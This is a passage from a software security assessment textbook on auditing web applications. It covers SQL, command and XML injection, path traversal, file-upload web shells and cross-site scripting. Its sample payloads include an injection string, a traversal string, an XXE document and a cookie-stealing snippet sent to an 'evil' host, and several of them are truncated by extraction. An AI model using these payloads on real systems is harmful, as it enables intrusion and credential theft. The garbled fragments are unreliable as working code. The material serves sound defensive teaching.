SQL injection resulting from data in the database itself; it occurs when database fields are used to generate a dynamic query. The root of this problem is that a complex application might make determining the exact source of data difficult. For instance, say you have a database that backs a Web-based bulletin board. The following parameterized query would allow users to update the list of bulletin board memberships: UPDATE users SET boardlist = ? WHERE user = ? Each board has a numeric ID, so the boardlist column contains strings such as the following: 1, 15, 8, 23. On its own, this parameterized query is structured correctly and safe from injection. However, there's no point in putting data in a database if you don't use it. Here's a query you might use to access this data: "SELECT board_id, board_name FROM boards, users WHERE user = ? AND board_id IN (" + boardList + ")" The boardList variable is a string retrieved from an earlier database query. The problem is that the string was originally supplied from user input and could contain malicious characters. An attacker can exploit this by first updating the board_id field and then triggering the unsafe query on this field. These types of injection vulnerabilities are relatively common, particularly in stored procedures. However, they are often hard to detect because the vulnerability results from two or more seemingly unrelated code paths. This also makes automated analysis and fuzzing techniques almost useless. The best approach is to identify all dynamic queries. Then treat all database input fields as hostile until you can prove otherwise. In some cases, you might not be able to determine that database input is safe. The database tier might receive input from sources other than the application you're reviewing, so you might have to consider it a vulnerability of unknown potential risk. Black Box Testing for SQL Injection Testing for SQL injection vulnerabilities from a black-box perspective isn't difficult. The first thing you need is a proxy specifically designed to facilitate The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1073 Web security testing. The Java-based application Paros works well and is available free from www.parosproxy.org. ImmunitySec offers SPIKE proxy, written by the formidable Dave Aitel. It's also available free at www.immunitysec.com. After downloading one of these tools, you need to set it up so that you can intercept requests coming from your Web browser. Ultimately, you want to be able to intercept an outgoing request before it gets to the server, modify the request, and send it on its way. This procedure might require a little experimentation or documentation reading, but it should be straightforward to figure out. After you've gotten the hang of intercepting requests, it's time to start testing your target Web site. You want to walk through the Web site's functionality in a systematic way, so you don't get lost or forget which ground you've covered. To accomplish this you'll need to come up with a simple way to organize your approach to the site. Basically, you use the site like a normal user, except you intercept legitimate traffic and change it slightly to insert SQL metacharacters. So you want to intercept every GET request with a query string, every POST request, and every cookie, and in each variable, you try to insert special characters. A safe bet is to use the single quote ('), as it usually does the trick. Test only one variable at a time; you don't want to accidentally put in two single quotes that cancel each other out and make a legitimate SQL query. Be sure to focus on variables that aren't user controlled, and definitely pick variables that look as though they contain only numeric fields, such as IDs or dates. Web application developers who are otherwise diligent about preventing SQL tampering often overlook these variables. Primarily, you're looking for any kind of error condition. It could be anything from a database error being displayed onscreen to a 500 error from the Web server to a subtle change in the page's contents. When you get an error that you can re-create, you can do a few things to determine whether it's caused by a SQL injection vulnerability. One technique is to double the single quote (that is, ''), which usually escapes it to the back-end database. If a single quote causes an error but two single quotes don't, you're probably on to something. Another method that's worth trying is short-circuiting SELECT queries. If you're injecting data into a query in a string parameter, try submitting a variable like this: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1074 ' or 1= If you're lucky, it will create a SQL query like the following on the back end: SELECT * from users where password='' or 1= The or 1= phrase simply selects every row in the table. The ; denotes the end of the SQL query, and the -- characters indicate that the back-end database should ignore the rest of the line. You can also try %00 to end a query. After you find an error, your first goal is to determine whether it appears to be a SQL injection problem by trying various requests. When you determine that it's SQL related, you can start to explore the potential ramifications of the exposure, if you're so inclined. There are several good papers on advanced SQL injection and blind SQL injection that you should read for ideas on how to proceed. Be sure to visit these sites for more information: www.nextgenss.com, www.spidynamics.com, and www.cgisecurity.com. OS and File System Interaction During a Web application review, pay special attention to every interaction with the operating system and file system, especially when user-supplied input is involved. These locations are where developers run a high risk of creating security vulnerabilities in otherwise safe high-level languages. When reviewing Web applications, be sure to examine the types of interactions covered in the following sections. Most of these issues are related to vulnerable metacharacter handling, so refer to Chapter 8(? [????.]) for more information. Execution CGI scripts often rely on external programs to perform part of the application processing. Developers often make a security-relevant mistake in calling a separate program, especially when user input is involved in the program's arguments. Here's a simple example of a vulnerable Perl program: #!/usr/bin/perl print "Content-type: text/html\n\n"; $dir = $ENV{'QUERY_STRING'}; system("ls -laF $dir"); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1075 This program takes a directory name as the query string and attempts to print a directory listing to users. Attackers can provide any number of shell metacharacters for the directory and issue their own commands. For example, supplying /tmp;echo hi for $dir would cause the preceding Perl program to do the following: system("ls -laF /tmp ; echo hi"); If the external program is being run in a fashion that isn't malleable, the developer might still be in trouble. You should also examine the program that's running to make sure it doesn't have any special processing functionality. For example, the UNIX mail program looks for the escape sequence ~!command. If a Web application uses that program to send mail, it might be exploitable if the user supplies input so that the mail contains that escape sequence. Chapter 18(? [????.]) goes into more depth on this topic, but remember that several powerful high-level languages provide multiple ways for developers to spawn a subprocess. Often it's possible to make applications run arbitrary commands in places where the developer intended only to perform an operation such as opening a file. Path Traversal If the application uses user-supplied input in constructing a pathname, this constructed path could be vulnerable to a path traversal attack, also known as a path canonicalization attack. For example, consider the following VBScript ASP excerpt: filename = "c:\temp\" & Request.Form("tempfile") Set objTextStream = objFSO.OpenTextFile(filename,1) Response.Write "Contents of the file:<br>" & objTextStream.ReadAll If users supply a tempfile parameter with path traversal directory components, they can trick the Web application into displaying files in other directories. For example, a tempfile parameter of ..\boot.ini causes the application to open the c:\temp\..\boot.ini file and display it. NUL Byte Many higher-level languages have their own underlying implementation of a string data type, and more often than not, these strings can contain a character with the value of 0, or the NUL character. When these strings are passed on to the OS, the NUL byte is interpreted as terminating the string. This can be useful to attackers attempting to manipulate a Web application that's interacting with the OS or file system. Programmatic SSI The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1076 Pay attention to locations where programmatic server-side includes are performed. Typically, they're used in a page that needs to include the contents of another script but determines which script to include at runtime. If you can manipulate the included script's filename, you can potentially read in files that you wouldn't normally have access to. In general, you can't read outside the Web root, but if you can read code you shouldn't have access to or read in files in WEB-INF, you can discover some useful information. Here's an example of a vulnerable JSP: <jsp:include page='<%="subpages/" + request.getParameter("_target") + ".jsp"%>' An attacker could submit a _target parameter like this: ../../../WEB-XML/web.xml%00 This parameter causes the JSP interpreter to include the web.xml configuration file. File Uploading File uploading vulnerabilities often catch developers by surprise. Many Web applications allow users to upload a file to the Web server, and these files are often stored in a directory in the Web tree. If you can manipulate the uploaded filename so that it has an extension mapped to a scripting language handler, you might be able to run arbitrary code on the Web server. Say you're black box testing a financial application that allows users to upload a transaction file to the Web server, which then parses and transfers the file to an application server. Users couldn't control the filename, but they might be able to control the file extension. With a little bit of detective work, you could determine that the temporary directory holding the file is located in the Web tree. After the groundwork has been laid, the attack is straightforward: A quick ASP script takes a command from the query string and runs it through a command shell. The script is uploaded to the Web system as a transaction file with an extension of .asp. The file is saved to a temporary directory with a random filename. Then the following request is made directly to the temporary file: https://www.test.com/uploads/apptemp/JASD1232.asp?cmd= The temporary file is run through the ASP handler, and the specified command runs on the Web server. Also, think about server-side includes in the context of file The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1077 uploading. If users can upload or edit an .shtml file, they can insert SSI tags that could cause the Web server to read files and run commands of their choosing. XML Injection XML injection refers to inserting XML metacharacters into XML data with the intent of manipulating the meaning of an XML document or attempting to exploit the XML parser. This problem often happens in multitier Web applications in which one tier communicates with another by using XML documents (such as Web Services). If the document is constructed so that it doesn't use user-supplied input securely, attackers might be able to perform multiple attacks. This kind of issue can also arise when an XML document is uploaded from the local machine to the Web application as part of normal processing. In general, when an application constructs an XML document, it can do it by using a programmatic API, such as the W3C Document Object Model (DOM), or simply by using normal text-manipulation functions. As a reviewer, you need to test any APIs the application developer uses to make sure user-supplied input is escaped correctly. Programmatic APIs are usually safe. However, if you see text-manipulation functions used to construct XML documents, you should pay close attention. For example, take a look at the following Visual Basic code: strAuthRequest = _ "<AuthRequest>" & _ "<Login>" & Login & "</Login>" & _ "<Password>" & Password & "</Password>" & _ "</AuthRequest>" This code has an authentication request formed by using text concatenation. If users have control of the Login and Password variables, they can place XML metacharacters such as < and > in the data and potentially alter the request's meaning. Attackers have a few options for leveraging an XML injection vulnerability. The most straightforward option is to modify the request so that it performs something that security mechanisms would otherwise prevent. Another approach is attacking the XML parser itself. An XML parser written in C has the potential for buffer overflows or other types of problems. XML parsers have also been reported to be vulnerable to multiple denial-of-service conditions, which could be triggered through an injection vector. Another general form of attack is the XML external entities (XXE) attack. If attackers can submit a document to the target's XML parser, they can try to make the XML parser attempt to retrieve a remote XML document. The easiest way to initiate The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1078 this attack is to provide an XML document with a DOCTYPE tag that references the URL of interest. For example, attackers could submit the following XML document: <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://1.2.3.4:1234/";> <foo/> If the XML parser is configured to perform schema validation, it attempts to connect to 1.2.3.4 on port 1234 and issue a GET request. This request could cause the XML parser to attempt to connect to various ports from the target server's perspective. Attackers might be able to use these connection attempts for port scanning, depending on the parser's timeout behavior. They could also attempt to read in files from the file system or network, if they can devise a mechanism for viewing the results of the parsing error. To understand why this can be an issue, consider an XML parser attempting to resolve a file:// URL via Windows networking. This connection attempt causes the server to try to authenticate and, therefore, expose itself to an SMB proxy attack from the attacker's machine. Another potential exploitation vector is trying to make outgoing connections that could create holes in stateful firewalls. For example, attackers could instruct the XML parser to attempt to connect to port 21 on their machine. If the firewall allows the outgoing FTP connection and attackers can get the XML parser to issue the PORT command, the stateful firewall might interpret the command as signifying a legitimate FTP data connection and open a corresponding connection back through the firewall. XPath Injection XML Path (XPath) Language is a query language that applications can use to programmatically address parts of XML documents. It's often used to extract information from an XML document. If the XPath query is dynamically constructed based on user input, extracted information could be taken from unintended parts of the document. The most common cause of XPath injection in Web applications is a large XML configuration file containing instructions for page transitions or page flowsoften used by the Controller component of an MVC application. The Web application, after completing a task, looks up the next page to be displayed in this configuration file, often using user-supplied information as part of the query. The Web application might use a query like this: $XPathquery = "/app1/chicago/".$language."/nextaction"; If users can supply a component of the query, they can use ../ characters and XPath query specifications to form something akin to a directory traversal attack. For The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1079 instance, the following value for $language backs up two components in the document, and then chooses the first child component, that child's second component, and that child's first child component: = If you discover an XPath injection vulnerability during a review, you can use these position components to iterate through each possible result in the document. For example, a vulnerable query component ending with the NUL byte ('\0') could allow an attacker to fully explore the XML document without worrying about the information being appended to the XPath query. Cross-Site Scripting Cross-site scripting (XSS) has acquired a somewhat negative image over the years because of enthusiastic researchers flooding mailing lists with arguably low-risk attacks, but it's an interesting type of exposure. The root of the problem is that Web-based applications, Web servers, and middleware often allow users to submit HTML that's subsequently replayed by the Web server. This can allow attackers to indirectly launch an attack against another client of the Web site. Note Cross-site scripting is abbreviated as XSS because the obvious acronym, CSS, is already used for cascading style sheets. For example, say you have an ASP page like this: <html> <body> Hi there <%= Request.QueryString("name") %>!<p> </body> </html> If you supply a name parameter in the query string, this page echoes it back to you. Say an attacker enters the following query in a Web browser: http://localhost/test.asp?name=<img%20src%3d"javascript: alert('hi');"> When the page is displayed, it has an alert message box saying "hi," as shown in Figure 17-6. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1080 Figure 17-6. Cross-site scripting message box How could attackers use this message box to perform an attack? They could take many approaches, but look at a simple example for now. Say an attacker sent this query: [View full width](? [????.]) http://localhost/test.asp?name=jim!<form%20action="1.2.3.4"> <p>Enter%20Secret%20Password: <br><input%20name="password"><br><input%20type="submit"></form> The attacker would get a response from the Web server that looks something like Figure 17-7. Figure 17-7. Cross-site scripting response The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1081 The attacker created a form that looks like it belongs to the official site, but it actually tells the browser to send the information to the evil Web server at 1.2.3.4. You might be wondering why this attack is important, as anyone submitting this link is effectively attacking himself. This kind of attack can be initiated in a few ways, but the classic example is a link in an HTML-enabled e-mail. If attackers could hide the contents of the URI enough that it appears legitimate to end users, recipients could easily click the URI and end up at the attackers' official-looking page. Changing page contents is a viable attack vector, but it's actually one of the less severe routes. This attack becomes more serious when you consider the injection of client-side browser scripts, such as JavaScript, client-side ActiveX objects, or Java applets. In general, these client-side technologies are limited in what they can do, as they're intended to be sandboxed from the client's machine. If a rogue Web server owner could easily instruct the client's browser to move files around or run programs, the Internet would be in a world of hurtand it occasionally is when browser bugs have this effect. So these scripting languages aren't generally useful for attacking an OS, but they do give attackers access to the contents of the Web page the scripts are part of. For example, a user is tricked into supplying HTML that's then injected into a Web page displayed by www.bank.com. This means the injected HTML can pull data from the www.bank.com Web page, and with a trick or two, attackers can get the Web client to send this data to the evil Web server. The following example shows the quintessential form of the attack, cookie-stealing: [View full width](? [????.]) <img src="steal.cgi?'+document.cookie);</script>"> Any cookies sent to www.bank.com are also sent to the www.evil.com Web server by the injected script code. This would almost certainly include a session key or other information that an attacker might be interested in. Note The HTTP TRACE method can cause a variation of an XSS attack known as a cross-site tracing (XST) attack. It takes advantage of a Web server that supports the trACE method to simply parrot back a malicious entity body in the context of the targeted site. This attack is prevented operationally by simply disabling the TRACE method on the Web server. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1082 Cross-site scripting vulnerabilities can be divided into two categories. The first, often called reflected, reflexive, or first order cross-site scripting, is the most widely understood variety. The attacker's client request actually contains the malicious HTML, and the server parrots it back. The previous example is of this variety. The second type is known as stored (second order) cross-site scripting. It occurs when a Web site stores input from a user usually in a database, file, memory, and so on. The actual attack happens later when that input is retrieved from storage and presented to the client. Stored cross-site scripting can be even more dangerous than the reflected kind, because it does not require an attacker to trick a user into clicking through a link. The attack simply runs when victims view pages on a vulnerable site. One particularly humorous example of a stored cross-site scripting vulnerability is provided by a worm that propagated across the popular social networking site myspace.com in February of 2005. An individual known as Samy exploited a stored cross-site scripting vulnerability to add himself as a friend to any member viewing his profile. (His explanation of the exploit is available at http://namb.la/popular/tech.html.) The exploit script propagates by embedding itself in every new friend's profile, ensuring an exponential growth in the affected users. Within a few hours of release, Samy was friends with most of the myspace.com community, whether they liked him or not. No damage was done, and to this day no legal action has been taken for the prank, but this incident certainly demonstrates the dangers of stored cross-site scripting vulnerabilities. Threading Issues Web technologies can use several different threading models. If any global data or variables exist across threads, security vulnerabilities can result if they aren't used in a thread-safe fashion. This type of vulnerability tends to surface most often in Java servlet code with Java class variables. Some specific examples are discussed in Chapter 18(? [????.]). C/C++ Problems Lower-level security issues, such as buffer overflows and format string vulnerabilities, aren't likely to occur in the high-level languages commonly used for Web applications. However, it's worth testing for them because C and C++ components tend to work their way into Web applications fairly regularly. You often see this lower-level code used in the following situations:  Web applications that use NSAPI or ISAPI for performance reasons  Web applications with ISAPI or NSAPI filters for front-end protection  Web interfaces that are primarily wrappers to commercial applications  Web interfaces that make use of external COM objects  Web interfaces to older business objects, business applications, and legacy databases that require C/C++ components as middleware The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1083 Surprisingly, buffer overflows can occasionally occur in an ASP or a Java Web site. They're usually the result of C/C++ code used in a nonobvious manner in the back-end processing. If the system contains multiple tiers or interfaces with technology you don't have full specifications on, you should consider testing oriented toward C/C++ issues. 8.4.8 Harsh Realities of the Web Web applications generally aren't in an advantageous security position, and securing these systems can be an uphill battle. This statement might seem unduly harsh, but as Web security audits consistently show, things just aren't pretty on the Web. The bottom line is that the security of the whole system determines whether a Web application can be compromised. In other words, the security of the Web application depends not only on the Web application code, but also on the security and configuration of the Web server, the servlet engine, application servers, Web application frameworks, other third-party components and middleware, the database security, the server's OS, and the firewall configuration. A source code review of a Web application in isolation, although certainly of value, examines only a portion of the attack surface. This section attempts to draw on historical patterns and personal experience to come up with realistic expectations of the security environment the current average enterprise Web infrastructure provides. These maxims might seem unduly harsh or pessimistic, but they represent the rules of the game as it exists today. You can't trust the Web server: The Web platforms are complex, rapidly changing products that generally have had poor security track records. To be fair, Apache and OpenSSL have held up reasonably well, with only a few remotely exploitable bugs in the past couple of years, and IIS 6.0 looks promising in its default deny configuration. However, this track record isn't that encouraging, and nearly every other Web server has a fairly poor security history. Unfortunately, it doesn't matter how secure your Web application code is if an attacker can easily compromise your Web server. Reality: Chances are good that the Web server platform hosting the application you're reviewing has its own vulnerabilities. This isn't unexpected, as most complex software probably has dormant security bugs. It's important, however, to be aware of this potential for vulnerabilities and account for it in your planning and risk analysis. In addition, keeping up to date on vendor patches is critical. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1084 As a reviewer, you should research the security of your Web software and make sure you aren't exposed to any known issues. One helpful resource is the Security Focus vulnerability database (www.securityfocus.com), which often has enough information for you to test the issue yourself. Going to the Credit page of the vulnerability entry and looking up the original post that described the problem is useful, as researchers' posts are always more technical than vendor advisories. If you have the time and motivation, you can try to find vulnerabilities in the software on your own. This endeavor isn't as fruitless as it might seem, as there are probably plenty of surprising vulnerabilities in Web framework code. Also, if you need to find the versions of software running on a Web server, try using netcat or TELNET to connect to port 80 and issue a simple HEAD request, like this: HEAD / HTTP/1.0 Usually, you get a banner from the Web server that tells you the version of Web server software you're running, and often you get the versions of other components. Attackers can get your server-side source code: Source-code disclosure vulnerabilities in Web servers and Web server connectors have been common through the years. One of the authors, for example, found several source-code disclosure vulnerabilities more than five years ago in Java Web Server, based on tricks such as running files through different servlets and appending characters to the end of filenames, such as %00 and %2e. What's scary is that these types of tricks still work today against commercial enterprise products. If the Web server doesn't have a source-code disclosure vulnerability, there's a good chance of one resulting from the interaction of different layers of technology in its setup. There's also a possibility that JSP forwarding, XML injection, or some other mechanism in the Web application can be exploited to retrieve fragments of server-side source code. Reality: The application should be designed around the premise that attackers will eventually be able to view server-side source code. Source code shouldn't contain sensitive information, and the site should be secure enough that exposure of technical functionality shouldn't matter. If you want to explore the possibility of retrieving server-side source code, check the Security Focus vulnerability database (www.securityfocus.com) mentioned in the auditing tip. Attackers can find a way to discover configurations or download configuration files: Application configuration files usually consist of flat text files or The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1085 XML documents in directories just outside the Web tree or in directories within the Web tree that have some form of protection. There have consistently been vulnerabilities that allow attackers to retrieve these files or use various techniques to explore the Web server's configuration. These vulnerabilities mean debug functionality, prototype code, development testing interfaces, support interfaces, and administrative interfaces that are present but hidden by a layer of obscurity are likely to be discovered. Furthermore, sensitive information in configuration files is probably at risk of exposure. Reality: There shouldn't be any script files, servlet mappings, or handlers in the production environment that you don't want anonymous Internet attackers exploring. As a reviewer, you definitely want to focus on anything that looks like unnecessary content, as it usually isn't as well vetted as the mainstream code. Attackers can find all the files in the Web tree: Many vulnerabilities have allowed attackers to retrieve directory indexes or enumerate files and directories in the Web tree. They can range from vulnerabilities in Web servers to configuration issues to application-specific exposures. Attackers could also perform a brute-force or dictionary attack looking for content, or look for specific files, such as tar files, Oracle logs, versioning logs, and other types of common files left behind by developers. Reality: There should be nothing in the Web tree except documents you intend the Web server to serve. You can expect attackers to eventually find any files in the Web tree. That means include files, programming notes, debugging code, and any other development artifacts should be removed or stored outside the web tree. Reverse-engineering Java classes is easy: Java class files are usually stored in archives or directories just outside the Web tree. If attackers leverage a vulnerability that allows them to download these class files, they effectively have the Java source code to the application. Java class files can be reverse-engineered to a state that's effectively equivalent to the source form. The reversed source files don't contain comments, and some local variable names are lost, but otherwise, they are quite readable. Reality: Keep this issue in mind when you're evaluating the significance of a finding that seems as though it would be difficult to discover externally. As far as a solution, you can attempt to obfuscate class files so that they're difficult to reverse-engineer. Ideally, however, attackers who have full application source code shouldn't be able to exploit the system. Note If you'd like to pull apart some Java class files, you should use a Java decompiler GUI based on Jad, the fast Java decompiler. You can find the Jad software and a list of GUIs available for Jad at www.kpdus.com/jad.html. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1086 Web applications can be quite difficult to review: Many Web applications are composed largely of third-party code. Applications that are built around frameworks or make heavy use of prepackaged technology can be difficult to analyze. A security reviewer needs to be able to trace the flow of data from end to end in an application, and this process is quite difficult when large portions of the functionality aren't available without reverse-engineering. Furthermore, many Web applications are abstracted to the point that they become difficult to conceptualize. The abstraction provided by Web frameworks can lead to increased division of labor and more productive programmers, but they also spread the system's functionality over several different layers. A highly compartmentalized object-oriented system has appealing characteristics, but unless it's done extremely well, it tends to make security review more cumbersome. As a reviewer, you're primarily interested in end-to-end data flow and the enforcement of security controls. Understanding the complete data flow is very difficult when the functionality needed to handle one Web request is distributed over more than ten classes and XML configuration files, which is not uncommon. Reality: Web applications might have weaknesses that even focused source-code auditing has a hard time uncovering. 8.4.9 Auditing Strategy Auditing a Web application can prove a formidable challenge. Naturally, it's helpful if you can explore the framework and technology that form the foundation of an application. If you're charged with auditing a specific set of Web applications, and you have enough time, this endeavor is certainly useful. However, if you have to review applications on a consulting basis or review applications from many development teams or across several business units in your organization, you might find it challenging to stay on top of all the different technologies being used and stay on top of your security expertise at the same time. The following sections offer a few Web application auditing strategies that extend the process presented in Chapter 4(? [????.]), "Application Review Process." These strategies should help you when auditing an unfamiliar and complex Web application. Focus on the Elements No matter how many business objects, XML parsers, or levels of indirection are involved in a system, Web applications perform some common, straightforward actions. Focusing on them can help you figure out how things work and where security controls are located (or should be located). Try to isolate the following activities: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1087  Interaction with the Web server Try to determine where the Web application interacts with the query string and posted parameters. If you can trace the data from the client interaction with the Web server forward, you can often figure out how the system is organized. You want to look for each parameter users can tamper with, and do your best to trace that user-supplied data all the way through the Web application processing, if possible.  Interaction with the session Sessions play an important role in modern Web applications, so examine each session variable and try to locate all the places in the application where the variable is accessed or modified. This information can often lead to insights on how to attack an application.  Interaction with the host OS or file system This interaction is one of the weakest points of Web applications, short of database interaction. Every time the system opens a file or runs a program, you should carefully study how the filename, program name, or program arguments are constructed. If you can isolate these behaviors, you can usually find functionality to exploit.  Interaction with a database SQL injection is the main vulnerability in Web applications, and it should be the main area of inquiry for your Web application audit. If you can figure out where the application interacts with the database, you can often isolate every end-activity of interest. Be sure to inspect database interaction carefully for SQL-injection possibilities.  HTML display Every Web application has to render HTML to users in response to requests. Sometimes this mechanism can be quite obfuscated, but it can be a useful component to try to isolate. Check this code for cross-site scripting vulnerabilities at some point during the audit. Black Boxing Black box testing can be a critical tool if you're trying to make the most of a limited time frame. It can also be useful for testing code that's unapproachable or testing application components you don't have code for. Be sure to read the sidebar in this chapter on testing for SQL injection vulnerabilities. If you can cause a SQL injection vulnerability and then trace it back to its cause in the source code, you can often find a mistake developers repeat in other places in their Web applications. Attack from Multiple Angles It can help to change up your approach occasionally, especially if you feel as though you aren't making progress in wrapping your head around an obtuse Web system. One good approach is end-to-end analysis of the data. Trace a user's request from the Web server, back to the data tier, and back to the Web server. This approach can help you focus on the data flow that's critical for the application's security. You can also try to put yourself in an object-oriented frame of mind. Look at the system from a higher-level perspective, and study each component in isolation. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1088 Document what each component does, and brainstorm potential problems that could happen when it's coupled with other components. Sometimes you can benefit from stepping back and reading about the infrastructure code the Web site uses. Learn more about the technology or even, time permitting, attempt to program simple Web functionality using the same technology and see what kind of issues you spot. If you simply need a break from the code, you can spend time constructing an automated attack against the login mechanism or session tokens. If you find a security vulnerability, you can write an automated script to exploit it, and then see how far you can leverage it. Spend some time performing a straight black box test of the application. Make No Assumptions Use your ignorance as an advantagecreativity is key. Modern enterprise Web applications are often entrenched in a particular design model or technology that can abstract away a lot of the details of how processing occurs. As an outside auditor, you bring a breath of fresh air to the table. Your goal is to understand how the system actually works, not how it's supposed to work. Sit down and give it your best shot, but try not to make any assumptions. Ideally, you'd like to be able to test various theories about the Web technology as you go. It's not uncommon for a senior developer to make a mistake such as a subtle misunderstanding of threading models in a Web technology. It might take someone with a fresh perspective to identify potential issues of this nature. Testing and Experimentation Are Critical Much of the system is probably written by a third party, considering the role application frameworks play in modern Web applications. Because you don't have source code to these components, you have to rely on your intuition and a healthy dose of testing against a live system. Be sure to test the middleware, the Web server, and the configuration. Try to bypass built-in authentication mechanisms by appending strange characters to the URL, such as %00, %2f, and %5c. Research vulnerabilities that have plagued other similar Web technologies, and see whether they can be applied in some fashion. Vet the configuration carefully, and make sure you can't get to any functionality that should be protected. Research vulnerability databases, such as the Security Focus Web site mentioned previously, for issues that affect the software or have affected the software in the past. Get Your Hands Dirty The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1089 Are you following something along when it suddenly disappears into a complex chunk of framework code you don't have source code to? If you have the time and the location seems interesting, reverse-engineer it! Java code reverses quite nicely from bytecode, and x86 or SPARC assembly code isn't that difficult if you have good tools such as IDA Pro, covered in Chapter 4(? [????.]). Enumerate All the Functionality One way to make sure you give an application proper coverage is to try to enumerate all the functionality users can access, and then make sure you have examined that functionality closely. For example, list every URL that can be called, every servlet and servlet action, all directories in the Web tree, all include files, all configuration files, all open ports, and all third-party software components. Have a Goal and Go for It Sometimes brainstorming a particular goal and then attempting to find a way to accomplish that goal is a useful exercise. For example, you might say "I want to place a fraudulent order" or "I want to view someone else's account information." From there, you can examine all code that could be relevant to your attack, and try to brainstorm ways you could achieve this goal. 8.4.10 Summary This chapter has introduced common technologies and approaches used in Web applications. You have learned about a range of vulnerabilities common to Web applications and their supporting components. Finally, you have seen some strategies for identifying and diagnosing these issues in real-world applications. In Chapter 18(? [????.]), you expand on this foundation to learn the specifics of Web technologies. Together with this chapter, it should give you all the tools you need to hit the ground running when faced with a Web application security assessment. 8.5 Chapter 18. Web Technologies "Your training starts now. When I'm through with you, you'll be a member of the elite agency that's been thanklessly defending this country since the second American Revolutionthe invisible one." Hunter, The Venture Bros. 8.5.1 Introduction The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1090 The Web has undergone major changes in the post dot-com era. Static content and simple page-structured front ends are being replaced with Web-based pipelines and rich Web applications. These new technologies are often collectively referred to as "Web 2.0." At its most basic level, the Web 2.0 approach doesn't add anything new to Web application security. However, it incorporates Web technologies at such a fundamental level that it's often more prone to standard Web vulnerabilities. This chapter explores the technologies and frameworks that make up the current Web. It begins with a discussion of the emerging Web 2.0 technologies and presents much of the high-level concepts you'll require in discussing Web applications. The focus is then changed to the specific implementation concerns associated with the six most popular Web application frameworks. By understanding both the technology trends and implementation, you will establish the foundation necessary to assess the vast majority of web applications. 8.5.2 Web Services and Service-Oriented Architecture Web Services is a software model for distributed computing that has been gaining popularity in recent years. The Web Services infrastructure is similar to Java remote method invocation (RMI), Common Object Request Broker Architecture (CORBA), and Distributed Component Object Model (DCOM), in that it provides a framework for developers to create software components that can interact with other software components easily, regardless if they're running on the same machine or running on a server halfway around the world. This interaction is achieved by using machine-to-machine exchanges conducted over HTTP-based transports, usually for communicating XML messages. Web Services generally exposes interfaces in some machine-discoverable form, although there's no requirement for this format. Web Services Description Language (WSDL) is the most popular format for describing these interfaces; it defines the service name and location, method prototypes, and potentially documentation on the service. Tools are available for using these WSDL files to generate stub code (in various languages) for interacting with target Web Services. You can design your Web service around a document programming model, meaning you receive and send XML documents with peers and use standard XML manipulation APIs to decode, parse, and create documents. WSDL isn't tied to any implementation, so the responsibility for document consistency and accuracy is placed on the platform or developer. For this reason, hand-generated WSDL documents might very well contain errors or omit methods. Also, there's no current standard for locating WSDL documents, although they generally end in a .wsdl extension and are served somewhere on the target site. Service-oriented architecture (SOA) is an umbrella term for a loosely coupled collection of Web Services. This architecture has grown popular over the past several years, as HTTP has morphed into a fairly universal communication protocol. Most Web The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1091 services use communication protocols based on Simple Object Access Protocol or Representational State Transfer (more on these protocols in the next section), although there's no requirement for a certain communication protocol. Whether Web services introduce any new vulnerabilities is somewhat a matter of opinion. Web services might be more prone to XML-related vulnerabilities (such as XML external entities [XXE] and XPath injection, explained in Chapter 17(? [????.]), "Web Applications"). Their analysis might also require more attention to certain classes of operational vulnerabilities. In particular, automated or certificate-based authentication mechanisms are necessary for server-to-server communications. Often both sides of communications aren't validated adequately, and interfaces intended for servers are publicly accessible. SOAP Simple Object Access Protocol (SOAP) is a protocol for exchanging XML messages, generally over an HTTP transport mechanism. The value of SOAP is that it's based entirely on simple, text-based, open standards. The major criticism of SOAP is that, in practice, it's complex and bandwidth intensive. For the most part, you can audit SOAP like any other Web application. It exposes methods that can be vulnerable to SQL or XML injection attacks, among others. The body of a SOAP request is contained in an envelope that identifies the requested service, method, and parameters. Extensions to SOAP can also add encryption and signature-based method authentication in addition to any HTTP-based methods; this component isn't addressed in detail in this chapter, however. The body of the SOAP message does provide additional potential for data filtering. Validation against an XML schema can help prevent a variety of attacks, including SQL injection, cross-site scripting (XSS), memory manipulation, and various XML-based attacks. A schema isn't a foolproof method, however; it might still allow harmful data through. When auditing, pay special attention to applications that rely entirely on schema-based protection and look for malicious data that can be validated successfully. REST Representational State Transfer (REST) includes almost any type of Web service communication protocol that isn't SOAP, so REST-based communication could take any form. Fortunately, XML is often used with REST, so most of the discussion on SOAP applies. JavaScript Object Notation (JSON) is another popular format for REST data exchange. Used mostly by client applications, it's simply a method of bundling data into a JavaScript object. The advantage of JSON is that it's generally smaller than the equivalent XML and is easy for Web browsers to consume. For this reason, JSON is commonly used in dynamic applications, not server-to-server communications. This means JSON is used in areas more prone to XSS vulnerabilities, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1092 particularly stored XSS. So you need to pay careful attention to ensure that attackers can't supply raw JavaScript for a JSON-encoded object. AJAX Asynchronous JavaScript and XML (AJAX) is a term for the recent generation of highly interactive Web applications. These applications make extensive use of client scripting, style sheets, and asynchronous communication to create user interfaces that behave like typical rich client applications. The interesting thing about an AJAX application is that it's a client-side technology. By definition, this technology should have almost no impact on security. However, the extensive use of dynamic client content can start to blur the lines between what data should be on the client and what should be on the server. In reviewing these applications, pay special attention to information leakage to the client and insufficient data filtering at the server. This is no different from the vulnerabilities described in Chapter 17(? [????.]); it's just a mistake that's even easier to make in AJAX development. 8.5.3 Web Application Platforms Now that you have a sense of the direction Web applications are headed in, next you need to understand details of the platforms that host 